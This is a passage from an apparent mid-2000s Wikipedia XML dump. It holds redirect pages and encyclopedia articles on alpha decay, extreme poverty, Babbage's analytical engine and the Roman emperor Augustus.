      <text xml:space="preserve">#REDIRECT [[Alpha particle]]</text>
    </revision>
  </page>
  <page>
    <title>Alpha particles</title>
    <id>1266</id>
    <revision>
      <id>15899758</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Trelvis</username>
        <id>15</id>
      </contributor>
      <comment>redirect to full article </comment>
      <text xml:space="preserve">#REDIRECT [[Alpha particle]]
</text>
    </revision>
  </page>
  <page>
    <title>Alpha decay</title>
    <id>1267</id>
    <revision>
      <id>41615194</id>
      <timestamp>2006-02-28T15:06:54Z</timestamp>
      <contributor>
        <username>Racoontje</username>
        <id>407719</id>
      </contributor>
      <comment>An alpha particle is the same thing as a helium *nucleus*, not a helium *atom*</comment>
      <text xml:space="preserve">{{Nuclear_processes}}
'''Alpha decay''' is a form of [[radioactivity|radioactive]] decay in which an [[atomic nucleus]] ejects an [[alpha particle]] through the electromagnetic force and transforms into a nucleus with [[atomic weight|mass number]] 4 less and [[atomic number]] 2 less.
For example:
:&lt;math&gt;
{}^2{}^{38}_{92}\hbox{U}\;\to\;{}^2{}^{34}_{90}\hbox{Th}\;+\;{}^4_2\hbox{He}^{2+},
&lt;/math&gt;
although this is usually written as:
:&lt;math&gt;
{}^{238}\hbox{U}\;\to\;^{234}\hbox{Th}\;+\;\alpha.
&lt;/math&gt;
Note that an [[alpha particle]] is a [[helium]] nucleus, and that both mass number and atomic number are conserved.
Alpha decay can essentially be thought of as [[nuclear fission]] where the parent nucleus splits into two daughter nuclei. Alpha decay is fundamentally a [[quantum tunneling]] process. Unlike [[beta decay]], alpha decay is governed by the [[strong nuclear force]].

Alpha particles with their typical kinetic energy of 5 MeV (that is ≈0.13% of their total energy, i.e. 110 TJ/kg), have a speed of 15,000 km/s.

Because of alpha decay, virtually all of the [[helium]] produced in the [[United States]] and elsewhere comes from trapped underground deposits associated with minerals containing [[uranium]] or [[thorium]], and brought to the surface as a by-product of [[natural gas]] production. 


[[Alpha particles]] emitted by radioactive nuclei are among the most hazardous forms of [[ionizing radiation|radiation]], if these nuclei are incorporated within a human body. As any heavy charged particle, alpha particles lost their energy in very short distance in dense media, causing significant damage to surrounding biomolecules. On the other hand, the external alpha irradiation cannot cause any damages because alphas are completely absorbed by a very thin ([[micrometer]]s) dead layer of [[skin]] as well as by few centimeters of air. However, if a substance radiating alpha particles is injected, ingested or inhaled by an organism it may become a risk, potentially inflicting very serious damage to the [[organism]]s' [[genetics|genetic]] makeup.
  
&lt;!--Interwiki--&gt;
&lt;!--Categories--&gt;
[[Category:Radioactivity]]

[[de:Alphazerfall]]
[[fr:Radioactivité α]]
[[ko:알파 붕괴]]
[[is:Alfasundrun]]
[[it:Decadimento alfa]]
[[he:קרינת אלפא]]
[[hu:Alfa-részecske]]
[[ja:アルファ崩壊]]
[[pl:Rozpad alfa]]
[[ru:Альфа-распад]]
[[sl:Razpad alfa]]
[[sv:Alfasönderfall]]
[[zh:Α衰变]]</text>
    </revision>
  </page>
  <page>
    <title>AI</title>
    <id>1268</id>
    <revision>
      <id>25762433</id>
      <timestamp>2005-10-17T19:36:09Z</timestamp>
      <contributor>
        <username>BrokenSegue</username>
        <id>101451</id>
      </contributor>
      <comment>Artificial intelligence is probably a better place to redirect to</comment>
      <text xml:space="preserve">#REDIRECT [[Artificial intelligence]] {{R from abbreviation}}</text>
    </revision>
  </page>
  <page>
    <title>Extreme poverty</title>
    <id>1270</id>
    <revision>
      <id>40129712</id>
      <timestamp>2006-02-18T09:58:20Z</timestamp>
      <contributor>
        <username>Cantus</username>
        <id>46083</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Extreme poverty''' is the most severe state of [[poverty]], where people have minimal or very limited access to basic necessities, such as [[food]], [[clothing]], [[shelter]], [[education]] and [[health care]]. The [[World Bank Group|World Bank]] defines extreme poverty as living on US $1 or less per day, and estimates that 1.1 billion people currently live under these conditions. Eradiction of extreme poverty and [[hunger]] by [[2015]] is a [[Millennium Development Goals|Millennium Development Goal]].

Extreme poverty is most common in [[Sub-Saharan Africa]].

==See also==
*[[List of countries by percentage of population living in poverty]]
*[[Income inequality metrics]]
*[[Make Poverty History]]
*[[Poverty line]]
*[[Poverty reduction]]

==References==
*Sachs, Jeffrey (2005). ''The End of Poverty: Economic Possibilities for Our Time'' Penguin Press Hc ISBN 1594200459
{{expand list}}

==External links==
*[http://topics.developmentgateway.org/poverty/rc/BrowseContent.do~source=RCContentUser~folderId=3330 Poverty Indicators, Statistics &amp; Measurement]
*[http://www.census.gov/hhes/poverty/povmeas/papers/elastap4.html Is There Such a Thing as an Absolute Poverty Line Over Time?]
* [http://aspe.hhs.gov/poverty/papers/relabs.htm New Light on the Behavior of Poverty Lines Over Time]
*[http://www.whiteband.org/ WhiteBand.org - Global Call to Action Against Poverty]

{{econ-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Analytical engine</title>
    <id>1271</id>
    <revision>
      <id>41777238</id>
      <timestamp>2006-03-01T17:56:10Z</timestamp>
      <contributor>
        <ip>70.226.135.121</ip>
      </contributor>
      <comment>Remove vandalism from 199.248.201.204</comment>
      <text xml:space="preserve">The '''analytical engine''', an important step in the [[history of computers]], is the design of a mechanical modern general-purpose [[computer]] by the British professor of mathematics [[Charles Babbage]]. It was first described in [[1837]], but Babbage continued to work on the design until his death in [[1871]]. Because of financial, political, and legal issues, the engine was never actually built. General-purpose computers that were logically comparable to the analytical engine did not come into existence until about 100 years later.

Some believe that the technological limitations of the time were a further obstacle to the construction of the machine; others believe that the machine could have been built successfully with the technology of the era if funding and political support had been stronger.

==Design==
Charles Babbage's first attempt at a mechanical computing device was the [[difference engine]], a special-purpose computer designed to tabulate [[logarithm]]s and [[trigonometric function]]s by evaluating approximate [[polynomial]]s. As this project faltered for personal and political reasons, he realized that a much more general design was possible, he started work designing the analytical engine.

The analytical engine was to be powered by a [[steam engine]] and would have been over 30 meters long and 10 meters wide. The input (programs and data) was to be provided to the machine on [[punch card]]s, a method being used at the time to direct mechanical [[loom|looms]]. For output, the machine would have a printer, a curve plotter and a bell. The machine would also be able to punch numbers onto cards to be read in later. It employed ordinary base-10 fixed-point arithmetic. There was a store (i.e., a memory) capable of holding 1,000 numbers of 50 digits each. An arithmetical unit (the &quot;mill&quot;) would be able to perform all four arithmetical operations.

The programming language to be employed was akin to modern day [[assembly language|assembly languages]]. Loops and conditional branching were possible and so the language as conceived would have been [[Turing-complete]]. Three different types of punch cards were used: one for arithmetical operations, one for numerical constants, and one for load and store operations, transferring numbers from the store to the arithmetical unit or back. There were three separate readers for the three types of cards.

In 1842, the Italian mathematician [[Federico Luigi, Conte Menabrea|Luigi Menabrea]], whom Babbage had met while travelling in Italy, wrote a description of the engine in French. In [[1843]], the description was translated into English and extensively annotated by [[Ada Lovelace|Ada King, Countess of Lovelace]], who had become interested in the engine ten years earlier. In recognition of [[Ada Byron's notes on the analytical engine|her additions to Menabrea's paper]], she has been described as the first computer [[programmer]]. The modern computer programming language [[Ada programming language|Ada]] is named in her honor.

==Partial construction==
In [[1878]], a committee of the British Association for the Advancement of Science recommended against constructing the analytical engine, which sank Babbage's efforts for government funding.

In [[1910]], Babbage's son Henry P. Babbage reported that a part of the mill and the printing apparatus had been constructed
and had been used to calculate a (faulty) list of multiples of [[pi]]. This constituted only a small part of the whole engine; it was not programmable and had no storage.

==Influence==

===Computer science===
The analytical engine was then all but forgotten with three known exceptions. [[Percy Ludgate]] wrote about the engine in 1915 and even designed his own analytical engine (it was drawn up in detail but never built). Ludgate's engine would be much smaller than Babbage's of about 8 cubic feet (230 L) and hypothetically would be capable of multiplying two 20-decimal-digit numbers in about 6 seconds. [[Leonardo Torres y Quevedo]] and [[Vannevar Bush]] also knew of Babbage's work, though the three inventors likely did not know of each other. 

Closely related to Babbage's work on the analytical engine was the work of [[George Stibitz]] of [[Bell Laboratories]] in [[New York]] just prior to [[World War II|WWII]] and [[Howard Aiken|Howard Hathaway Aiken]] at [[Harvard]], during and just after WWII. They both built electromechanical (i.e. relay-and-switch) computers which were closely related to the analytical engine, though neither was (quite) a modern programmable computer. Aiken's machine was largely financed by [[IBM]] and was called the [[Harvard Mark I]]. 

From Babbage's autobiography:
:''As soon as an Analytical Engine exists, it will necessarily guide the future course of the science. ''

===Fiction===
The [[cyberpunk]] novelists [[William Gibson (novelist)|William Gibson]] and [[Bruce Sterling]] co-authored a [[steampunk]] novel of [[Alternate history (fiction)|alternative history]] entitled ''[[The Difference Engine]]'' in which Babbage's difference and analytical engines became available to Victorian society. The novel explores the consequences and implications of the early introduction of computational technology.

==External links==
*[http://www.fourmilab.ch/babbage The Analytical Engine at Fourmilab]
* L. F. Menabrea, Ada Augusta, [http://www.fourmilab.ch/babbage/sketch.html Sketch of the Analytical Engine], Bibliothèque Universelle de Genève, Number 82, October 1842.
* [[Brian Randell|Randell, Brian]], [http://www.cs.ncl.ac.uk/research/pubs/articles/papers/398.pdf From Analytical Engine to Electronic Digital Computer: The Contributions of Ludgate, Torres, and Bush], ''[[Annals of the History of Computing]]'', Volume 4, Number 4, October 1982.

[[Category:History of computing]]
[[Category:Early computers]]
[[Category:English inventions]]
[[Category:One-of-a-kind computers]]
[[Category:Mathematical tools]]
[[Category:Mechanical calculators]]

[[de:Analytical Engine]]
[[es:Máquina analítica]]
[[fi:Analyyttinen kone]]
[[ja:解析機関]]
[[sv:Den analytiska maskinen]]</text>
    </revision>
  </page>
  <page>
    <title>Augustus</title>
    <id>1273</id>
    <revision>
      <id>42120054</id>
      <timestamp>2006-03-03T23:22:23Z</timestamp>
      <contributor>
        <ip>68.12.208.244</ip>
      </contributor>
      <comment>/* Select Bibliography */</comment>
      <text xml:space="preserve">[[Image:Statue-Augustus.jpg|right|thumb|250px|The famous statue of Octavian at the Prima Porta ([[Vatican Museums]])]]
'''[[Caesar (title)|Caesar]] [[Augustus (honorific)|Augustus]]''' ([[Latin]]:&lt;small&gt;Imperator Caesari Divi Filius Augustus&lt;/small&gt;) [[#Notes|&amp;sup1;]] ([[23 September]] [[63 BC]] &amp;ndash; [[19 August]] [[14|AD&amp;nbsp;14]]), known to modern historians as '''Octavian''' for the period of his life prior to [[27 BC]], is considered the first and one of the most important [[Roman Emperors]], though he downplayed his own position by preferring the traditional Republic title of ''[[princeps]],'' usually translated as &quot;first citizen&quot;.  Although he preserved the outward form of the [[Roman Republic]], he ruled as an [[autocrat]] for more than 40 years and his rule is the dividing line between the Republic and the [[Roman Empire]]. He ended a century of [[Civil war|civil wars]] and gave Rome an era of peace, prosperity, and imperial greatness, known as the ''[[Pax Romana]]'', the Roman peace. He was married to [[Livia Drusilla]] for 51 years.

==Early life==
Augustus was born in Rome with the name '''Gaius Octavius'''. His father, also [[Gaius Octavius]], came from a respectable but undistinguished family of the [[equestrian (Roman)|equestrian]] order and was governor of [[Macedonia (Roman province)|Macedonia]]. Shortly after Octavius's birth, his father gave him the surname of '''Thurinus''', possibly to commemorate his victory at [[Thurii]] over a rebellious band of slaves.  His mother, [[Atia|Atia Balba Caesonia]], was the niece of [[Julius Caesar]], soon to be Rome's most successful general and [[Dictator]] for Life. He spent his early years in his grandfather's house near Veletrae (modern [[Velletri]]). In [[58 BC]], when he was four, his father died. He spent most of his childhood in the house of his stepfather, [[Lucius Marcius Philippus]].

In [[51 BC]], aged eleven, he delivered the funeral oration for his grandmother [[Julia Caesaris]]. He put on the ''[[toga virilis]]'' at fifteen, and was elected to the [[College of Pontiffs]]. Caesar requested that Octavius join his staff for his campaign in [[Africa (province)|Africa]], but Atia protested that he was too young. The following year, [[46 BC]], she consented for him to join Caesar in [[Hispania]], but he fell ill and was unable to travel. When he had recovered, he sailed to the front, but was shipwrecked; after coming ashore with a handful of companions, he made it across hostile territory to Caesar's camp, which impressed his great-uncle considerably. Caesar and Octavius returned home in the same carriage, and Caesar secretly changed his will.

==Rise to power==
[[Image:aug11_01.jpg|right|thumb|250px|Bust of Caesar Augustus.]]

When [[Julius Caesar#Assassination|Caesar was assassinated]] in March 44 BC, Octavius was studying in Apollonia, in what is now [[Albania]]. When Caesar's will was read it revealed that, having no legitimate children, he had adopted his great-nephew as his son and main heir. By virtue of his [[adoption in Rome|adoption]], Octavius assumed the name Gaius Julius Caesar.  Roman tradition dictated that he also append the surname ''Octavianus'' to indicate his biological family, from which historians derive the name ''Octavian''; however, no evidence exists that he ever used the name ''Octavianus''. [[Mark Antony]] later charged that he had earned his adoption by Caesar through sexual favors, though [[Suetonius]] describes Antony's accusation as political slander.{{ref|slander}}

Octavian, as he is now conventionally called, recruited a small force in Apollonia.  Crossing over to Italy, he bolstered his personal forces with Caesar's veteran legionaries, gathering support by emphasizing his status as heir to Caesar. Only eighteen years old, he was consistently underestimated by his rivals for power.

In Rome, he found Marcus Antonius ([[Mark Antony]]) in control. After a tense standoff, and a war in Gaul after Antony tried to take control of the province from [[Decimus Brutus]], he formed an uneasy alliance with [[Mark Antony]] and [[Marcus Aemilius Lepidus (triumvir)|Marcus Aemilius Lepidus]], Caesar's principal colleagues. The three formed a [[junta]] called the [[Second Triumvirate]], an explicit grant of special powers lasting five years and supported by law, unlike the unofficial [[First Triumvirate]] of [[Pompey]], Caesar and [[Marcus Licinius Crassus|Crassus]].{{ref|2ndTri}} 

The triumvirs then set in motion proscriptions in which three hundred senators and two thousand ''[[Equestrian (Roman)|equites]]'' were deprived of their property and, for those who failed to escape, their lives, going beyond a simple purge of those allied with the assassins, and probably motivated by a need to raise money to pay their troops.{{ref|pros}}

Antony and Octavian then marched against Brutus and Cassius, who had fled to the east. At [[Philippi]] in [[Macedonia (Roman province)|Macedonia]], the Caesarian army was victorious and Brutus and Cassius committed [[suicide]] ([[42 BC]]). While Octavian returned to Rome, Antony went to [[Egypt]] where he allied himself with Queen [[Cleopatra VII of Egypt|Cleopatra]], the ex-lover of Julius Caesar and mother of Caesar's infant son, [[Caesarion]]. 

While in Egypt, Antony had an affair with Cleopatra that resulted in the birth of three children, [[Alexander Helios]], [[Cleopatra Selene (II)|Cleopatra Selene]], and [[Ptolemy Philadelphus (Cleopatra)|Ptolemy Philadelphus]]. Antony later left Cleopatra to make a strategic marriage with Octavian's sister [[Octavia]] in [[40 BC]]. During their marriage Octavia gave birth to two daughters, both named [[Antonia]]. In [[37 BC]] Antony deserted Octavia and went back to Egypt to be with Cleopatra. The Roman dominions were then divided between Octavian in the west and Antony in the east. 

Antony occupied himself with military campaigns in the east and a romantic affair with Cleopatra; Octavian built a network of allies in Rome, consolidated his power, and spread [[propaganda]] implying that Antony was becoming less than Roman because of his preoccupation with Egyptian affairs and traditions. The situation grew more and more tense, and finally, in [[32 BC]], Octavian declared war. It was quickly decided: in the bay of [[Battle of Actium|Actium]] on the western coast of Greece, after Antony's men began deserting, the fleets met in a great battle in which many ships burned and thousands on both sides lost their lives. Octavian defeated his rivals who then fled to Egypt. He pursued them, and after another defeat, Antony committed suicide. Cleopatra also committed suicide after her upcoming role in Octavian's triumph was &quot;carefully explained to her&quot; and [[Caesarion]], the supposed son of Julius Caesar by Cleopatra, was &quot;butchered without compunction&quot;.    Augustus supposedly said &quot;two Caesars are one too many&quot; as he ordered Caesarion's death.{{ref|suicide}}.  It is said that Cleopatra used a snake to kill herself.

==Octavian becomes Augustus: the creation of the Principate==
[[Image:Caesar augustus.jpg|right|thumb|200px|&lt;small&gt;Augustus as a magistrate&lt;/small&gt;]]

The Western half of the Empire had sworn allegiance to Octavian prior to Actium in [[30 BC]], and after Actium and the defeat of Antony and Cleopatra, the Eastern half of the Empire followed suit, placing Octavian in the position of ruler of the entire Empire. Years of civil war had left [[Rome]] in a state of near-lawlessness, but the Republic was not prepared to accept the control of Octavian as a [[despot]]. At the same time, Octavian could not simply give up his authority without risking further civil wars amongst the Roman generals, and even if he desired no position of authority whatsoever, his position demanded that he look to the well-being of the City and provinces. Disbanding his personal forces, Octavian held elections and took up the position of [[consul]]; as such, though he had given up his personal armies, he was now legally in command of the legions of Rome.

===The First Settlement===
In [[27 BC]] he officially returned power to the [[Roman Senate|Senate]] of Rome, and offered to relinquish his own military supremacy over [[Egypt]]. Reportedly, the suggestion of Octavian's stepping down as consul led to rioting amongst the Plebeians in Rome. A compromise was reached between the Senate and Octavian's supporters, known as the First Settlement. Octavian was given proconsular authority over the Western half of the empire and [[Syria (Roman province)|Syria]] &amp;mdash; the provinces that, combined, contained almost 70% of the Roman legions.

The Senate also gave him the titles ''[[Augustus (honorific)|Augustus]]'' and ''[[Princeps]]''. ''Augustus'' was a title of religious rather than political authority. In the mindset of contemporary religious beliefs, it would have cleverly symbolized a stamp of authority over humanity that went beyond any constitutional definition of his status. Additionally, after the harsh methods employed in consolidating his control, that the change in name would also serve to separate his benign reign as Augustus from his reign of terror as Octavian. ''Princeps'' translates to &quot;first-citizen&quot; or &quot;first-leader&quot;. It had been a title under the Republic for those who had served the state well; for example, [[Gnaeus Pompey]] had held the title.

In addition, and perhaps the most dangerous innovation, Augustus was granted the right to wear the Civic Crown of laurel and oak. This crown was usually held above the head of a Roman general during a [[Roman Triumph|Triumph]], with the individual holding the crown  charged to continually repeat, &quot;Remember, thou art mortal,&quot; to the triumphant general. The fact that not only was Augustus awarded this crown but awarded the right to actually wear it upon his head is perhaps the clearest indication of the creation of a [[monarchy]]. However, it must be noted that none of these titles, or the Civic Crown, granted Octavian any additional powers or authority; for all intents and purposes the new Augustus was simply a highly-honored Roman citizen, holding the consulship.

These actions were highly abnormal from the Roman Senate, but this was not the same body of patricians that had murdered Caesar. Both Antony and Octavian had purged the Senate of suspect elements and planted it with their loyal partisans. How free a hand the Senate had in these transactions, and what backroom deals were made, remain unknown.

===The Second Settlement===
In [[23 BC]] Augustus renounced the consulship, but retained his consular ''[[imperium]]'', leading to a second compromise between Augustus and the Senate known as the Second Settlement. Augustus was granted the power of a [[tribune]] (''tribunicia potestas''), though not the title, which allowed him to convene the Senate and people at will and lay business before it, veto the actions of either the Assembly or the Senate, preside over elections, and the right to speak first at any meeting. Also included in Augustus' tribunician authority were powers usually reserved for the Roman [[censor]]; these included the right to supervise public morals and scrutinize laws to ensure they were in the public interest, as well as the ability to hold a [[census]] and determine the membership of the Senate. No Tribune of Rome ever had these powers, and there was no precedent within the Roman system for combining the powers of the Tribune and the Censor into a single position, nor was Augustus ever elected to the office of Censor. Whether censorial powers were granted to Augustus as part of his ''tribunician'' authority, or he simply assumed these responsibilities, is still a matter of debate.

In addition to tribunician authority, Augustus was granted sole ''imperium'' within the city of Rome itself: all armed forces in the city, formerly under the control of the [[Prefect|Praefects]], were now under the sole authority of Augustus. Additionally, Augustus was granted ''imperium proconsulare maius'', or &quot;imperium over all the proconsuls&quot;, which translated to the right to interfere in any province in the Roman Empire and override the decisions of any governor.  With ''maius imperium,'' Augustus was the only individual able to receive a triumph as he was ostensibly the head of every Roman army. 

Many of the political subtleties of the Second Settlement seem to have evaded the comprehension of the Plebeian class. When in [[22 BC]] Augustus failed to stand for election as consul, fears arose once again that Augustus, seen as the great &quot;defender of the people&quot;, was being forced from power by the aristocratic Senate. In [[22 BC|22]], [[21 BC|21]], and [[20 BC]] the people rioted in response, and only allowed a single consul to be elected for each of those years, ostensibly to leave the other position open for Augustus. Finally in [[19 BC]] the Senate voted to allow Augustus to wear the consul's insignia in public and before the Senate, sometimes known as the Third Settlement. This seems to have assuaged the populace; regardless of whether or not Augustus was actually a consul, the importance was that he appeared as one before the people.

With these powers in mind, it must be understood that all forms of permanent and legal power within Rome officially lay with the Senate and the people; Augustus was given extraordinary powers, but only as a pronconsul and magistrate under the authority of the Senate. Augustus never presented himself as a king or autocrat, once again only allowing himself to be addressed by the title ''[[Princeps]]''. After the death of Lepidus in [[13 BC]] he additionally took up the position of [[pontifex maximus]].

Later Roman Emperors would generally be limited to the powers and titles originally granted to Augustus, though often, in order to display humility, newly appointed Emperors would often decline one or more of the honorifics given to Augustus. Just as often, as their reign progressed, Emperors would appropriate all of the titles, regardless of whether they had actually been granted by the Senate. The Civic Crown, consular insignia, and later the purple robes of a Triumphant general (''[[toga picta]]'') became the imperial insignia well into the [[Byzantine Empire|Byzantine]] era, and were even adopted by many Germanic tribes invading the former Western empire as insignia of their right to rule.

==Reign==
Having gained power by means of great audacity, Augustus ruled with great prudence. In exchange for near absolute power, he gave Rome 40 years of civic peace and increasing prosperity, celebrated in history as the [[Pax Romana]], or ''Roman Peace''. 

===Military reforms===
He created Rome's first permanent army and navy and stationed the [[Roman legion|legions]] along the Empire's borders, where they could not meddle in politics. A special unit, the [[Praetorian Guard]], garrisoned Rome and protected the Emperor's person. He also reformed Rome's finance and tax systems.  Augustus channeled the enormous wealth brought in from the Empire to keeping the army happy with generous payments.

===Provincial reforms and imperial expansion===
The Roman Empire expanded enormously during the reign of Augustus. [[Cantabrian Wars|A war in the mountains of northern Hispania]] from [[26 BC]] to [[19 BC]] finally resulted in that territory's conquest. After [[Gauls|Gallic]] raids, the [[Alps|Alpine]] territories were conquered. Rome's borders were advanced to the natural frontier of the [[Danube]], and the province of [[Galatia]] was occupied. Further west, an attempt to advance into [[Germany]] ended with the defeat at the [[Battle of the Teutoburg Forest]] in [[9|AD 9]].  Thereafter Augustus and his successors accepted the [[Rhine]] as the Empire's permanent border. In the east, he satisfied himself with establishing Roman control over [[Armenia]] and the [[Transcaucasus]]. He left the [[Parthia|Parthian Empire]] alone maintaining generally good relations with them, arranging with them to return the standards lost to them by [[Crassus]], an event portrayed on the breastplate of the ''Prima Porta Augustus''.

====Britain====
The Res Gestae says he received two kings of Britain.  He considered [[Roman conquest of Britain#Aborted invasions|invasion]] on occasions but called it off.

====India====
There was an Indian in his retinue ([[Plutarch]], Life of Alexander, 69.9), and he claimed in the Raes Gestae to have received fealty from 'kings' of India.

===Civil reforms, innovations and entertainments in Rome===
He founded a ministry of [[transport]] that built an extensive network of roads &amp;mdash; enabling improved communication, trade, and [[mail]]. Augustus also founded the world's first [[fire brigade]], and created a regular [[Cohortes urbanae|police]] force for Rome.

He channeled the enormous wealth brought in from the Empire to keeping the army happy with generous payments, and keeping the citizens of Rome happy by staging magnificent games.  His use of games and special events to celebrate himself and his family cemented his popularity. 

===Building programmes in Rome===
He famously boasted that he &quot;found Rome [[brick]] and left it [[marble]]&quot; (though that hardly applied to the rickety flats of the [[Subura]]). 
He built 
*a new home or [[Curia]] for the Senate
*the [[Forum of Augustus]]
*new temples to 
**[[Apollo]] 
**Divine Julius
**[[Temple of Mars Ultor|Mars Ultor]] in his new [[Forum of Augustus|forum]]
*a shrine near the [[Circus Maximus]]. 

He restored
*the [[Capitoline Temple]] 
*the Theater of [[Pompey]] 
These are recorded as his projects, but his name was deliberately uncredited. 

He also encouraged others to carry out building projects, such as [[Lucius Cornelius Balbus (minor)]] and the [[Museo Nazionale Romano#Crypta Balbi|Crypta Balbi]].

===Economic policy===
Roman rulers understood little about [[economics]], and Augustus was no exception. Like all the Emperors, he overtaxed agriculture and spent the revenue on armies, temples, and games. However, wages and prices moved freely and allowed efficient markets to operate. When the Empire stopped expanding, and had no more loot coming in from conquests, its economy began to stagnate and eventually decline. The reign of Augustus is thus seen in some ways as the high point of Rome's power and prosperity. Augustus settled retired soldiers on the land in an effort to revive agriculture, but the capital remained dependent on grain imports from Egypt.

===Religious reforms===
Augustus also strongly supported worship of [[Roman gods]], especially [[Apollo]], and depicted Roman defeat of Egypt as Roman gods defeating [[Egyptian mythology|Egypt's]].

===Harking back to Rome's heritage===
He sponsored Virgil's [[Aeneid]] in the hopes that it would increase pride in Roman heritage (one of the titles he had refused in favour of Augustus was [[Romulus]], as a 'second founder' of Rome). 

===His own image===
[[Image:ac.augustus.jpg|left|thumb|200px|Bronze statue of Augustus, Archaeological Museum, Athens]]
[[Image:Statue-Augustus.jpg|right|thumb|250px|The 'Prima Porta Augustus'([[Vatican Museums]])]]
He made a concerted campaign to have a standard version of his image reproduced throughout the empire as a focus of loyalty and, sometimes, [[Imperial cult (Ancient Rome)#From Julius Caesar to Hadrian|worship]].  Even when he was old, he was portrayed this way.  As a result, his image is the most recognizable of all the emperors in museums across the world, including

* *[[British Museum]] (eg  head from [[Meroe]][http://www.thebritishmuseum.ac.uk/compass/ixbin/hixclient.exe?_IXDB_=compass&amp;_IXSR_=df9&amp;_IXSS_=_IXFPFX_%3dgraphical%252ffull%252f%26_IXNOMATCHES_%3dgraphical%252fno_matches%252ehtml%26%2524%2b%2528with%2bv2_searchable_index%2529%2bsort%3d%252e%26_IXDB_%3dcompass%26%257bUPPER%257d%253av2_free_text_tindex%3dAugustus%26_IXsearchterm%3dAugustus&amp;_IXFIRST_=9&amp;_IXMAXHITS_=1&amp;_IXSPFX_=graphical/full/&amp;_IXsearchterm=Augustus&amp;submit-button=summary]

* *[[Museo Nazionale Romano#Palazzo Massimo]], Via Labicana type, found on the [[Via Labicana]], Augustus as a [[Pontifex Maximus]]

* *[[Vatican Museums]], Prima Porta Augustus.

See The Power of Images in the Age of Augustus, Paul Zanker.

===Moral crusade===
Augustus also launched a morality crusade, promoting marriage, family, and childbirth while discouraging luxury, unrestrained sex (including [[prostitution]] and [[homosexuality]]), and adultery. It was largely unsuccessful (indeed, his own daughter and - possibly in connection to her - Ovid were both banished due to it.)

===Cultural patronage===
As a patron of the arts, Augustus showered favors on poets, artists, sculptors, and architects. His reign is considered the Golden Age of [[Roman literature]]. [[Horace]], [[Livy]], [[Ovid]], and [[Virgil]] flourished under his protection, but in return, they had to pay tribute to his genius and adhere to his standards. (Ovid was banished from Rome for violating Augustus's morality codes.) 

===Conclusion===
He eventually won over most of the Roman intellectual class, although many still pined in private for the Republic. His use of games and special events to celebrate himself and his family cemented his popularity. By the time Augustus died, a return to the old system was unimaginable. The only question was who would succeed him as sole ruler.

==Succession==

Augustus' control of power throughout the Empire was so absolute that it allowed him to name his successor, a custom that had been abandoned and derided in Rome since the foundation of the Republic. At first, indications pointed toward his sister's son [[Marcus Claudius Marcellus (Julio-Claudian dynasty)|Marcellus]], who had been married to Augustus' daughter [[Julia Caesaris]]. However, Marcellus died of food poisoning in 23 BC. Reports of later historians that this poisoning, and other later deaths, were caused by Augustus' wife [[Livia Drusilla]] are inconclusive at best.

After the death of Marcellus, Augustus married his daughter to his right hand man, [[Marcus Vipsanius Agrippa|Marcus Agrippa]]. This union produced five children, three sons and two daughters: [[Gaius Caesar]], [[Lucius Caesar]], [[Vipsania Julia]], [[Agrippina the Elder]], and [[Postumus Agrippa]], so named because he was born after Marcus Agrippa died. Augustus' intent to make the first two children his heirs was apparent when he adopted them as his own children. Augustus also showed favor to his stepsons, Livia's children from her first marriage, [[Nero Claudius Drusus Germanicus]] and [[Tiberius|Tiberius Claudius]], after they had conquered a large portion of [[Germany]].

After Agrippa died in [[12 BC]], Livia's son Tiberius divorced his own wife and married Agrippa's widow. Tiberius shared in Augustus' tribune powers, but shortly thereafter went into retirement. After the early deaths of both Gaius and Lucius in [[4|AD 4]] and [[2|AD 2]] respectively, and the earlier death of his brother Drusus ([[9 BC]]), Tiberius was recalled to Rome, where he was adopted by Augustus.

On [[August 19]], [[14|AD 14]], Augustus died. Postumus Agrippa and Tiberius had been named co-heirs. However, Postumus had been banished, and was put to death around the same time. Who ordered his death is unknown, but the way was clear for Tiberius to assume the same powers that his stepfather had.

==Augustus's legacy==
[[Image:Hw-augustus.jpg|right|thumb|200px|Portrait drawing of Augustus: a detail of the famous statue found at Prima Porta]]
Augustus was deified soon after his death, and both his borrowed surname, Caesar, and his title ''Augustus'' became the permanent titles of the rulers of Rome for the next 400 years, and were still in use at [[Constantinople]] fourteen centuries after his death. In many languages, ''caesar'' became the word for ''emperor'', as in German (''[[Kaiser|Kaiser]]''), in Dutch (''keizer''), and in Russian (''[[Tsar|tsar]]''). The cult of the Divine Augustus continued until the state religion of the Empire was changed to [[Christianity]] in the [[4th century]]. Consequently, there are many excellent statues and busts of the first, and in some ways the greatest, of the emperors. Augustus' mausoleum also originally contained bronze pillars inscribed with a record of his life, the ''[[Res Gestae Divi Augusti]]''.

Caesar Augustus is mentioned in Luke 2:1.

Many consider Augustus to be Rome's greatest emperor; his policies certainly extended the empire's life span and initiated the celebrated ''[[Pax Romana]]'' or ''Pax Augusta''. He was handsome, intelligent, decisive, and a shrewd politician, but he was not perhaps as charismatic as Julius Caesar or Marc Antony. Nevertheless, his legacy proved more enduring.

The month of [[August]] (Latin ''Augustus'') is named after Augustus; until his time it was called [[Sextilis]] (the sixth month of the [[Roman calendar]]). Commonly repeated lore has it that August has 31 days because Augustus wanted his month to match the length of Julius Caesar's [[July]], but this is an invention of the 13th-century scholar [[Johannes de Sacrobosco]]. Sextilis in fact had 31 days before it was renamed, and it was not chosen for its length (see [[Julian calendar]]).

In looking back on the reign of Augustus and its legacy to the Roman world, its longevity should not be overlooked as a key factor in its success. People were born and reached middle age without knowing any form of government other than the Principate. Had Augustus died earlier (in 23 BC, for instance), matters may have turned out differently. The attrition of the civil wars on the old Republican oligarchy and the longevity of Augustus, therefore, must be seen as major contributing factors in the transformation of the Roman state into a de facto monarchy in these years. Augustus' own experience, his patience, his tact, and his political acumen also played their parts. He directed the future of the empire down many lasting paths, from the existence of a standing professional army stationed at or near the frontiers, to the dynastic principle so often employed in the imperial succession, to the embellishment of the capital at the emperor's expense. Augustus' ultimate legacy was the peace and prosperity the empire enjoyed for the next two centuries under the system he initiated. His memory was enshrined in the political ethos of the Imperial age as a paradigm of the good emperor, and although every emperor adopted his name, Caesar Augustus, only a handful, such as [[Trajan]], earned genuine comparison with him. His reign laid the foundations of a regime that lasted for 250 years.

==Augustus in popular culture==

In the [[Home Box Office|HBO]] television series &quot;[[Rome (TV series)|Rome]]&quot;, young Octavian is portrayed by [[Max Pirkis]].

Augustus was ranked #18 on [[Michael H. Hart]]'s [[The 100|list of the most influential figures in history]].

